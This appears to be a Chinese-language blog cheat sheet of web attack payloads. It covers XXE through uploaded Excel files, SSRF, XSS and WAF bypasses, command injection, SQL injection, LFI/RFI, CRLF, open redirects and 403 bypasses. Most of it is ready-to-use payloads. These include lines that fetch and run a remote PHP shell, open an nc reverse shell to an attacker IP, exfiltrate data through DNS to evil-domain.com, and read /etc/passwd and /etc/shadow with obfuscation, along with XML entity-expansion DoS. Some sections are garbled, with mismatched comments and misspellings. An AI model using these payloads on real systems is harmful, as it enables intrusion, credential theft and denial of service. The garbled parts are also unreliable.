xxe— hacking wite excel变种版 现在excel本质上就是一个包含xml文档的压缩文件,和docx,ppt一样,这就可以被称之为OOxml,即 office open xml
所以这有什么问题呢,就是说当我们要在某个地方允许上传这种ooxml的时候,如果没有安全配置器,那么这个存在xxe是必然的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ┌──(kali㉿kali)-[~/Desktop] └─$ mkdir xml && cd xml ┌──(kali㉿kali)-[~/Desktop/xml] └─$ unzip ../0. xlsx Archive: ../0. xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: docProps/app.xml extracting: [trash]/0000. dat inflating: xl/_rels/workbook.xml.rels inflating: xl/styles.xml inflating: xl/theme/theme1.xml inflating: xl/workbook.xml inflating: xl/worksheets/sheet1.xml inflating: docProps/core.xml
创建一个崭新的excel,虽然你可能在里面键入一些文本,但这是无关紧要的,
要使用的攻击文件也会因为所使用的库而有所不同。大部分解析工作通常是从xl/workbook.xml
开始的,这个文件包含了所有的工作表的信息,包括工作表的名称和位置。
各种工作表也可以在xl/worksheets
目录下找到,这里的文件包含了工作表的内容,这些内容是以xml格式存储的。
所以我认为可以在这个文件中下功夫
—2025-1-7补充
其实后面我看了看别人的,不一定非要在workbook.xml,解压后的[Content_Types].xml也是可以下手
看了看佬的1 2 <!DOCTYPE x [ <!ENTITY xxe SYSTEM "dnslog的地址或者说你监听的地址/" > ]> <x>&xxe;</x>
然后压缩为xslx上传
可以看看这篇xxe-excel
ssrf-in-pdf 如果你访问的某个网站存在下列功能之一,那就可能存在ssrf了
1 2 3 4 打印pdf报告 生成报告文件 提交数字签名 ····
因为都会生成pdf形式的文件,而里面的pdf解析器/js会获取其中数据并将其添加到网页页面中,
在 PDF HTML注入中利用SSRF
PDF解析器html/XSS 实现SSRF
IDOR 简单来说就是比如 这个后面的132355就是idor,我们只需要更改后面的customer_number就可以绕过访问控制查看其它客户的记录
payload xss waf 1 2 3 <svg onload=alert(document.cookie)> <svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b> <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF: 1 2 3 4 <details/open/ontoggle=confirm('XSS')> 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ ;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location); ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>
xxe 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
示例) 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo>
1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
实体扩展 - DOS) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
远程攻击 - 通过外部 xml 包含 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>
UTF-7 1 2 3 4 <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd"> %remote; %send; ]> <data>4</data> File stored on http://publicServer.com/parameterEntity_sendftp.dtd <!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>"> %param1;
ssrf 1 2 3 4 5 http://0177.1/ http://127.000.000.1 http://0x7f.1/
如果是其他什么地址,可以用http://www.subnetmask.info/
计算
伪协议 1 2 3 4 5 gopher://, dict://, php://, jar://, tftp://
通配符 xip.io是一个提供通配符DNS解析的服务,它将域名中的IP地址部分解析为实际的IP地址
nip.io也是
1 2 3 4 10.0.0.1.xip.io www.10.0.0.1.xip.io mysite.10.0.0.1.xip.io foo.bar.10.0.0.1.xip.io
1 2 3 4 5 10.0.0.1.nip.io app.10.0.0.1.nip.io customer1.app.10.0.0.1.nip.io customer2.app.10.0.0.1.nip.io otherapp.10.0.0.1.nip.io
AWS EC2 元数据(一种信息泄露 1 2 3 http://x.x.x.x/latest/meta-data/ http://x.x.x.x/latest/user-data/local-hostname http://x.x.x.x/latest/user-data/public-hostname
LFI 1 2 3 4 5 6 7 8 9 10 ../\ ..\/ /.. \/.. /%5c..
rce Werkzeug 调试器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 i'''d i"""d \l\s -l\a\h cat /e?c/p?ss?? cat /e??/??ss* {ls,} {ls,-a} 壳震漏洞 () { :;}; echo vulnerable curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
打开重定向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /%09/google.com /%5cgoogle.com //www.google.com/%2f%2e%2e //www.google.com/%2e%2e //google.com/ //google.com/%2f.. //\google.com /\victim.com:80%40google.com
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 ?url=http://{target} ?url=https://{target} ?next=http://{target} ?next=https://{target} ?url=https://{target} ?url=http://{target} ?url=//{target} ?url=$2f%2f{target} ?next=//{target} ?next=$2f%2f{target} ?url=//{target} ?url=$2f%2f{target} ?url=//{target} /redirect/{target} /cgi-bin/redirect.cgi?{target} /out/{target} /out?{target} /out?/{target} /out?//{target} /out?/\{target} /out?///{target} ?view={target} ?view=/{target} ?view=//{target} ?view=/\{target} ?view=///{target} /login?to={target} /login?to=/{target} /login?to=//{target} /login?to=/\{target} /login?to=///{target}
nuclei 使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 显示帮助信息 nuclei -h # 显示 Nuclei 的当前版本 nuclei -version # 从文件中加载目标列表 nuclei -l targets.txt -t ~/nuclei-templates/ # 指定单个目标进行测试 nuclei -t https://example.com -t ~/nuclei-templates/ # 以静默模式运行 Nuclei(抑制输出) nuclei -u https://example.com -t ~/nuclei-templates/ # 指定使用的并发线程数 nuclei -silent -t https://example.com -t ~/nuclei-templates/ # 跳过需要身份验证的模板 nuclei -c 10 -t https://example.com -t ~/nuclei-templates/ # 自定义 Nuclei 报告的输出格式 nuclei -no-verify -t https://example.com -t ~/nuclei-templates/ # 忽略 SSL 证书错误 nuclei -o output.txt -t https://example.com -t ~/nuclei-templates/ # 指定自定义 HTTP 头包含在请求中 nuclei -insecure -t https://example.com -t ~/nuclei-templates/ # 指定自定义用户代理字符串包含在请求中 nuclei -headers "Authorization: Bearer TOKEN" -t https://example.com -t ~/nuclei-templates/ nuclei -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -t https://example.com -t ~/nuclei-templates/
重定向 额,应该叫开放式重定向
怎么说呢,就是让页面跳转到攻击的页面,比方说
as 1 2 3 4 https://vulnerable-website.com/redirect?url=https://malicious-website.com https://vulnerable-website.com/profile?redirect_uri=https://malicious-website.com
这就是重定向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ?redirect_url= ?next= ?continue= ?goto= ?return_Url= ?destination= ?fromURI= ?redirect= ?go= ?from= ?return= ?rurl= ?checkout_url=
开放式重定向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 redirect redirect_to redirect_url redirectUrl callback toUrl fromUrl request oauth_callback url go jump jump_to target service to returnUrl goTo link linkto domain return locationUrl r_url
如果是黑盒可以考虑open-redirect
白盒的话可以参考1 response.sendRedirect(request.getParameter("url" ));
1 2 $redirect_url = $_GET ['url' ];header ("Location: " . $redirect_url );
1 2 string url = request.QueryString["url"]; Response.Redirect(url);
1 redirect_to params[:url]
1 redirect_url = request.GET.get("url")HttpResponseRedirect(redirect_url)
1 redirect\_url = request.form\['url'\] redirect(redirect\_url)
绕过方法的话请参考这篇URL重定向漏洞解析
,师傅写的很详细了
csrf 有点像,木偶戏?简单来说就是你在一个已经进行过身份认证的人的浏览器(也不只是有浏览器),执行某些攻击者不必要的操作
csrf攻击类型
基于GET请求的CSRF攻击
恶意请求通过GET类型发送,通常是镶嵌在连接或者图片链接中
基于POST请求的CSRF攻击
恶意请求通过POST类型发送,通常是镶嵌在表单或者js代码中
一个POST的攻击载荷1 2 3 4 5 <img src="https://vulnerable-website.com/transfer?amount=1000&recipient=attacker" width="0" height="0"> <form action="https://vulnerable-website.com/change-email" method="POST"> <input type="hidden" name="email" value="[email protected] "> <input type="submit" value="Click me!"> </form>
Cookie 只是一个保存在本地浏览器中的 4KB 文件,用于存储用户独有的信息,如偏好设置、会话 ID 和购物车中的商品,然后服务器会检索这些信息.
cors跨源资源共享 CORS:全称跨域资源共享(Cross-Origin Resource Sharing)
漏洞原理 cors可分为两类:简单请求和非简单请求
简单请求:请求方法是GET、HEAD、POST
中的一种,且HTTP头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type
非简单请求:请求方法是PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH,或者Content-Type字段
的值不是application/x-www-form-urlencoded、multipart/form-data、text/plain
当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添三个字段:1 2 3 Access-Control-Allow-Origin Access-Control-Allow-Credentials Access-Control-Expose-Headers
其中 Access-Control-Allow-Origin
是必须有的,Access-Control-Allow-Origin
字段代表允许哪个域访问。当字段值为*
时,就代表任意域都可以访问,这样,就导致了Cors漏洞的产生
上面是我访问bili的,他明确规定了Access-Control-Allow-Origin
为https://www.bilibili.com
crlf CRLF注入是一种利用应用程序中的CRLF(回车换行)字符来执行恶意操作的攻击。
CRLF实际上是由CR和LF两个字符拼接而成,他们分别表示回车("\r")
/换行("\n")
,十六进制表示为0x0d
和0x0a
ASCII表示为13/10
像是这样,我的想法是注入一下Set-Cookie:crlf=true
,所以我在里面%0d%0aSet-Cookie:crlf=true
,这样如果成了的话就可以在响应头里看到Set-Cookie:crlf=true
但是这个并没有成功,o(╥﹏╥)o
这玩意看着没什么危害,但是试想一下,如果我在后面添一个xss,像是这样1 %0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>0
这样的话,如果有人访问这个页面,就会弹出xss
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 🔹 /%%0a0aSet-Cooke:crlf 🔹 /%0aSet-Cooke:crlf 🔹 /%0d%0aSet-Cooke:crlf 🔹 /%0dSet-Cooke:crlf 🔹 /%23%0aSet-Cooke:crlf 🔹 /%23%0d%0aSet-Cooke:crlf 🔹 /%23%0dSet-Cooke:crlf 🔹 /%25%30%61Set-Cooke:crlf 🔹 /%25%30aSet-Cooke:crlf 🔹 /%250aSet-Cooke:crlf 🔹 /%25250aSet-Cooke:crlf 🔹 /%2e%2e%2f%0d%0aSet-Cooke:crlf 🔹 /%2f%2e%2e%0d%0aSet-Cooke:crlf 🔹 /%2F%0d%0aSet-Cooke:crlf 🔹 /%3f%0d%0aSet-Cooke:crlf 🔹 /%3f%0dSet-Cooke:crlf 🔹 /%u000aSet-Cooke:crlf 🔹 /%E5%98%8D%E5%98%8ASet-Cooke:crlf
xss 三种XSS
反射型XSS 工作原理:恶意脚本从网站服务器反射回用户。这种情况通常发生在用户输入未经过适当消毒或编码就包含在响应中的情况下。
○ 示例:搜索栏在结果页面显示搜索查询时未对特殊字符进行编码。攻击者可在搜索查询中注入脚本,然后在受害者查看结果时在其浏览器中执行该脚本。
存储型XSS 工作原理:恶意脚本存储在网站服务器上,每次加载受影响页面时都会执行。这种情况可能发生在评论区、论坛或其他存储用户生成内容的区域。
○ 示例:包含脚本的博客评论。每次有人浏览该评论时,脚本就会在其浏览器中执行
dom型xss 工作原理:恶意脚本是通过修改页面的文档对象模型 (DOM) 而执行的。当用户输入被用于动态更新页面内容而未进行适当消毒时,就会发生这种情况。
○ 示例:一个使用 JavaScript 根据用户输入更新 URL 的网站。攻击者可在 URL 中注入脚本,然后在 JavaScript 代码运行时执行该脚本
1 2 3 4 <script>alert('XSS')</script> <img src=x onerror=alert('XSS')> "><script>alert('XSS')</script> javascript:alert('XSS')
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 document.url document.documentURI document.URLUnencoded document.baseURI document.referrer location location.href loaction.search location.hash location.pathname window.cookie window.referrer window.name element.innerHTML() element.outerHTML() eval() setTimeout() setInterval() documemt.write() document.writeln()
绕waf的xss CloudFlare WAF
1 2 3 <svg onload=alert(document.cookie)> <svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b> <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF 1 2 3 4 <details/open/ontoggle=confirm('XSS')> 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ ;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location); ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>
指令注入 首先是常见的连接符1 2 3 4 5 6 & ; Newline (0x0a or \n) && | ||
试例1 x.x.x.x||ping+-c+10+127.0.0.1||
1 x.x.x.x||whoami>/var/www/images/output.txt||
1 2 x.x.x.x||nslookup+burp.collaborator.address|| x.x.x.x||nslookup+`whoami`.burp.collaborator.address||
常见参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 cmd exec command execute ping query jump code reg do func arg option load process step read function req feature exe module payload run print
常见命令 1 2 3 4 whoami ifconfig ls uname -a
常见命令视窗
抓取密码 1 2 3 4 5 6 7 8 9 cat /etc/passwd cat /e”t”c/pa”s”swd cat /’e’tc/pa’s’ swd cat /etc/pa??wd cat /etc/pa*wd cat /et’ ‘c/passw’ ‘d cat /et$()c/pa$()$swd {cat,/etc/passwd} cat /???/?????d
绕过waf 1 2 3 vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port> vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload
lfi-rfi 文件包含 如何识别lfi
参数篡改: 查找包含 page=、file=、doc= 等参数的 URL。这些通常就是漏洞所在.
目录遍历: 尝试在参数值中添加 ../ (点斜线)。这将尝试向上浏览文件系统。如果看到不同的内容或错误,你可能发现了一些问题.
空字节注入: 在文件路径末尾添加空字节 (%00)。有些系统会在空字节后停止处理,从而有可能绕过过滤器。
日志文件中毒: 如果能在日志文件中注入代码,就有可能通过 LFI 触发它。这是一种更高级的技术
思路
LFI全名实际上是Load File Inclusion,即本地文件包含漏洞
所以比较常见的就是..\etc\passwd
like this1 2 3 4 5 6 7 8 <?php $file = $_GET [ 'page' ];$file = str_replace ( array ( "http://" , "https://" ), "" , $file );$file = str_replace ( array ( "../" , "..\"" ), "" , $file );?>
$_GET['page'];
这个就是我们可以注入的地方,页面通过提取URL查询page参数的值,str_replace( array( "http://", "https://" ), "", $file );
删除了http和httpsstr_replace( array( "../", "..\"" ), "", $file );
删除了../和..”
所以综上,我们可以用这个`…/./…/./…/./…/./…/./
而RFI全名实际上是Remote File Inclusion,即远程文件包含漏洞
所以一般都是带IP的恶意文件
在reverse shell generator 下载反向链接脚本,并连接
xxe —just xxe 我就说一句,在线测试工具和发包格式1 2 3 4 5 http://ceye.io/ http://www.dnslog.cn/ https://dnslog.io/
1 Content-Type: application/xml
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> # or <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://127.0.0.1:80"> ]> <r>&sp;</r>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # pyload <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> ]> <r>&sp;</r> # response <?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>9011</rspCode><rspDesc><![CDATA[请求报文头部不能为空]]></rspDesc><digitalSign /><rspTime>2020-04-09 16:58:34.877</rspTime></header><body></body></response> # pyload <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts1"> ]> <r>&sp;</r> # response <?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>7000</rspCode><rspDesc><![CDATA[接口程序执行错误]]></rspDesc><digitalSign /><rspTime>2020-04-09 17:01:08.121</rspTime></header><body></body></response>
—>从XML相关一步一步到XXE漏洞
—>XXE漏洞的利用
sqli —绕不过的 报错注入,联合注入,盲注….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 经典 SQLI 基于错误的 SQLi: 输入:' OR 1=1 -- (单引号后加 OR 1=1 和注释) 预期结果:显示 SQL 语法或表/列名称的数据库错误信息。 为什么有效?OR 1=1 条件始终为真,导致查询返回所有行,注释 (--) 实际上忽略了原始查询的其余部分。 基于联合的 SQLi: 输入:' UNION SELECT username, password FROM users -- 预期结果:如果存在漏洞,应用程序将从 "users "表中返回用户名和密码以及原始查询结果。 为什么有效UNION 运算符结合了两个 SELECT 语句的结果,允许攻击者从其他表中检索数据 盲 SQLi 基于布尔的 SQLi: 输入: ' AND 1=1 -- (真条件) 预期结果:应用程序的响应应与正常请求相同。 输入: ' AND 1=2 -- (错误条件) 预期结果:应用程序的响应应不同于正常请求。 为什么有效:攻击者可以通过观察应用程序的响应如何随注入条件的变化而变化来推断数据库的信息 基于时间的 SQLi: 输入: ' AND SLEEP(5) -- (休眠 5 秒钟) 预期结果:如果注入成功,应用程序的响应将延迟 5 秒。 ○ 为何有效:SLEEP 功能会使数据库在指定时间内暂停,攻击者可以通过观察响应时间来推断注入是否有效。 外部 SQLI 基于 DNS 的渗透: 输入: ' UNION SELECT LOAD_FILE(concat('\\\\',@@version,'.evil-domain.com\\abc'))--
——> [python脚本/sqli]
自己写的测试小脚本
ssrf ssrf分为五类,分别是
基本 SSRF: 攻击者可以访问互联网上任何可公开访问的资源。
盲人 SSRF: 攻击者无法看到服务器端请求的响应,但仍可根据应用程序的行为推断信息。
带身份验证旁路的 SSRF: 攻击者可以绕过身份验证机制访问受限资源。
SSRF 到 Localhost: 攻击者可以访问与网络应用程序运行在同一服务器上的服务。
SSRF 到云元数据端点: 攻击者可访问存储在云元数据服务中的敏感信息
tools:ffuf/Kiterunner/SSRFmap
可以看看这个师傅的,很详细的描述了ssrf实例和绕过手法
从0到1完全掌握 SSRF
不过这个我也是第一次见完整的
1 [协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
DNS重绑定
看不懂的话可以看这个详解DNS重绑定攻击
rce 当攻击者诱使网络应用程序或系统执行他们提供的代码时,就会出现 RCE 漏洞。这些代码可以是简单的命令,也可以是复杂的脚本,可用于执行各种恶意活动
RCE危害 目标系统执行攻击者的有效载荷,允许攻击者运行其代码,并有可能获得系统的控制权 攻击者的收益:攻击者现在可以执行各种操作,例如 窃取敏感数据 安装恶意软件 修改系统文件 发动进一步攻击
RCE类型
命令注入:攻击者可将操作系统命令注入网络应用程序的输入中
代码注入:代码注入:攻击者将代码注入网络应用程序的输入,然后由应用程序的解释器(如 PHP、Python、Java)执行
反序列化漏洞:当序列化数据被应用程序反序列化时,攻击者可以操纵序列化数据执行任意代码
文件上传漏洞:攻击者可将恶意文件上传到网络应用程序,然后在服务器上执行该文件
(原来文件上传和反序列化也算rce么)
简单的rce载荷 1 2 3 4 5 ; whoami $(whoami) | whoami || whoami && whoami
顺便一提 SSTI模板注入
图片来源—>JKding233师傅
SSTI(模板注入)漏洞(入门篇)
墙裂推荐 上面那篇,师傅很详细的列举了多种模板的SSTI
403-bypass 404是not found,403是forbidden,也就是禁止访问
比较常见的绕过就是
换请求方法,换成GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
绕过Ip限制
1 2 3 4 5 6 7 8 9 10 11 12 13 X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded: 127.0.0.1 Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 X-Original-URL: 127.0.0.1 Client-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 Cluster-Client-IP: 127.0.0.1 X-ProxyUser-Ip: 127.0.0.1 Host: localhost
url绕过 通过使用X-Original-URL
头部,或者X-Rewrite-URL
等覆盖原来请求URL的路径
1 2 3 4 5 6 GET / HTTP/1.1 X-Original-URL: /admin/console X-Rewrite-URL: /admin/console Host: www.abc.com Host: 192.168.126.6
路径fuzz,比如/admin/
改成/admin
或者/admin/./
等等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 abc.com/admin => 403 abc.com/admin/ => 200 abc.com/admin// => 200 abc.com//admin// => 200 abc.com/admin/* => 200 abc.com/admin/*/ => 200 abc.com/admin/. => 200 abc.com/admin/./ => 200 abc.com/./admin/./ => 200 abc.com/admin/./. => 200 abc.com/admin/./. => 200 abc.com/admin? => 200 abc.com/admin?? => 200 abc.com/admin??? => 200 abc.com/admin…;/ => 200 abc.com/admin/…;/ => 200 abc.com/%2f/admin => 200 abc.com/%2e/admin => 200 abc.com/admin%20/ => 200 abc.com/admin%09/ => 200 abc.com/%20admin%20/ => 200
其他的fuzz-dicts
waf-bypass 🤔 🤔 🤔 🤔 🤔 🤔
tools:wafw00f/BYPASSwaf/
绕过手法:
1.大小写绕过 像是这样1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 基本要求: <script>confirm ()</script> 旁路技术: <ScrIpT>confirm ()</sCRiPt> 基本要求: SELECT * FROM * WHERE OWNER = 'NAME_OF_DB' 旁路技术: sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
URL编码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 被 WAF 屏蔽: <Svg/x=">"/OnLoAD=confirm()// 旁路技术: %3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F 被 WAF 屏蔽: UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10) 旁路技术: UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
ASCII编码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 基本要求: <marquee onstart=prompt()> 混淆视听: <marquee onstart=\u0070r\u06f\u006dpt()> 被 WAF 屏蔽: /?redir=http://google.com 旁路技术: /?redir=http://google。com (Unicode alternative) 被 WAF 屏蔽: <marquee loop=1 onfinish=alert()>x 旁路技术: <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative) 基本要求: ../../etc/shadow 混淆视听: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
HTML编码
1 2 3 4 5 6 7 8 9 10 11 基本要求: "><img src=x onerror=confirm()> 编码有效载荷: "><img src=x onerror=confirm()> 编码有效载荷: "><img src=x onerror=confirm()>
混合编码
添加注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 被 WAF 屏蔽: <script>confirm()</script> 旁路技术: <!--><script>confirm/**/()/**/</script> 被 WAF 屏蔽: /?id=1+union+select+1,2-- 旁路技术: /?id=1+un/**/ion+sel/**/ect+1,2--
双重编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 基本要求: http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\ 混淆有效载荷 http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ 基本要求: <script>confirm()</script> 混淆有效载荷 %253Cscript%253Econfirm()%253C%252Fscript%253E
通配符混淆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 基本要求: /bin/cat /etc/passwd 混淆有效载荷 /???/??t /???/??ss?? 使用过的字符 / ? t s 基本要求: /bin/nc 127.0.0.1 443 混淆有效载荷 /???/n? 2130706433 443 使用过的字符 / ? n [0-9] 基本要求: <script>confirm()</script> 混淆有效载荷 <script>eval('con'+'fi'+'rm()')</script> 基本要求: /bin/cat /etc/shadow 混淆有效载荷 /bi'n'''/c''at' /e'tc'/sh''ad'ow Bash 允许执行路径连接 基本要求: <iframe/onload='this["src"]="javascript:confirm()"';> 混淆有效载荷 <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:con"+"fir"+"m()"';>
垃圾字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 基本要求: <script>confirm()</script> 混淆有效载荷 <script>+-+-1-+-+confirm()</script> 基本要求: <BODY onload=confirm()> 混淆有效载荷 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> 基本要求: <a href=javascript;alert()>ClickMe 旁路技术: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
中断换行
1 2 3 4 5 6 7 基本要求: <iframe src=javascript:confirm(hacker)"> 混淆有效载荷 <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hacker)">
未初始化变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 使用未初始化的 bash 变量来规避基于正则表达式的错误过滤器。 这种值等于 null,作用类似于空字符串。 一级混淆:正常 基本要求: ● /bin/cat /etc/shadow 混淆有效载荷 ● /bin/cat$u /etc/shadow$u 第二层混淆:基于位置 基本要求: ● /bin/cat /etc/shadow 混淆有效载荷 ● $u/bin$u/cat$u $u/etc$u/shadow$u 第三级混淆:随机字符 基本要求: ● /bin/cat /etc/passwd 混淆有效载荷 ● $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
制表符和换行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 基本要求: <IMG SRC="javascript:confirm();"> 旁路技术: <IMG SRC=" javascript:confirm();"> 变体: <IMG SRC=" jav ascri pt:confirm ();"> 基本要求: http://test.com/test?id=1 union select 1,2,3 旁路技术: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 基本要求: <iframe src=javascript:confirm()></iframe> 混淆有效载荷 <iframe src=j	a	v	a	s	c	r	i	p	t	:c	o	n	f	i	r	m	%28	%29></iframe>
